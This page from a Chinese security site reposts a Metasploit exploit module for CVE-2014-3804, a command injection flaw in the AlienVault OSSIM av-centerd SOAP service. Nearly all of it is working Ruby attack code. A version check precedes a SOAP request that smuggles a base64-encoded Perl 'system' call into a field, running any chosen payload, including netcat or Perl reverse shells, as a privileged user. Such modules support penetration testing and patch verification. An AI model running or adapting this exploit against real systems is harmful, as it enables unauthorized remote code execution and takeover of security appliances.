首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AlienVault OSSIM av-centerd Command Injection
来源:metasploit.com 作者:temp66 发布时间:2014-06-20  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include REXML

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'AlienVault OSSIM av-centerd Command Injection',
      'Description'   => %q{
        This module exploits a code execution flaw in AlienVault 4.6.1 and
        prior.  The vulnerability exists in the av-centerd SOAP web service,
        where the update_system_info_debian_package method uses perl backticks
        in an insecure way, allowing command injection. This module has been
        tested successfully on AlienVault 4.6.0.
      },
      'Author'        =>
        [
          'Unknown', # From HP ZDI team, Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          ['CVE', '2014-3804'],
          ['BID', '67999'],
          ['ZDI', '14-202'],
          ['URL', 'http://forums.alienvault.com/discussion/2690']
        ],
      'Privileged'     => true,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          #'BadChars'   => "[;`___FCKpd___0lt;>|]", # Don't apply bcuz of the perl stub applied
          'Compat'      => {
            'RequiredCmd' => 'perl netcat-e openssl python gawk'
          }
        },
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'Targets'        =>
        [
          [ 'AlienVault <= 4.6.1', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 5 2014'))

    register_options(
      [
        Opt::RPORT(40007)
      ], self.class)
  end

  def check
    version = ""
    res = send_soap_request("get_dpkg")

    if res &&
       res.code == 200 &&
       res.headers['SOAPServer'] &&
       res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
       res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/

      version = $1
    end

    if version.empty? || version >= "4.7.0"
      return Exploit::CheckCode::Safe
    else
      return Exploit::CheckCode::Appears
    end
  end

  def exploit
    send_soap_request("update_system_info_debian_package", 1)
  end

  def build_soap_request(method)
    xml = Document.new
    xml.add_element(
      "soap:Envelope",
      {
        'xmlns:xsi'          => "http://www.w3.org/2001/XMLSchema-instance",
        'xmlns:soapenc'      => "http://schemas.xmlsoap.org/soap/encoding/",
        'xmlns:xsd'          => "http://www.w3.org/2001/XMLSchema",
        'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
        'xmlns:soap'         => "http://schemas.xmlsoap.org/soap/envelope/"
      })
    body = xml.root.add_element("soap:Body")
    m = body.add_element(
      method,
      {
        'xmlns' => "AV/CC/Util"
      })
    args = []
    args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
    args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
    args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
    args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
    (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }

    if method == "update_system_info_debian_package"
      args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
      perl_payload  = "system(decode_base64"
      perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
      args[4].text  = "#{rand_text_alpha(4 + rand(4))}"
      args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
    end

    xml.to_s
  end

  def send_soap_request(method, timeout = 20)
    soap = build_soap_request(method)

    res = send_request_cgi({
      'uri'      => '/av-centerd',
      'method'   => 'POST',
      'ctype'    => 'text/xml; charset=UTF-8',
      'data'     => soap,
      'headers'  => {
        'SOAPAction' => "\"AV/CC/Util##{method}\""
      }
    }, timeout)

    res
  end

end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ericom AccessNow Server Buffer
·D-link DSL-2760U-E1 - Persiste
·docker 0.11 VMM-container Brea
·Linux Kernel <= 3.13 - Local P
·Rocket Servergraph Admin Cente
·Lunar CMS 3.3 Unauthenticated
·Ubisoft Rayman Legends 1.2.103
·Supermicro IPMI/BMC Cleartext
·Easy File Management Web Serve
·D-Link hedwig.cgi Buffer Overf
·Adobe Reader for Android addJa
·D-Link authentication.cgi Buff
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved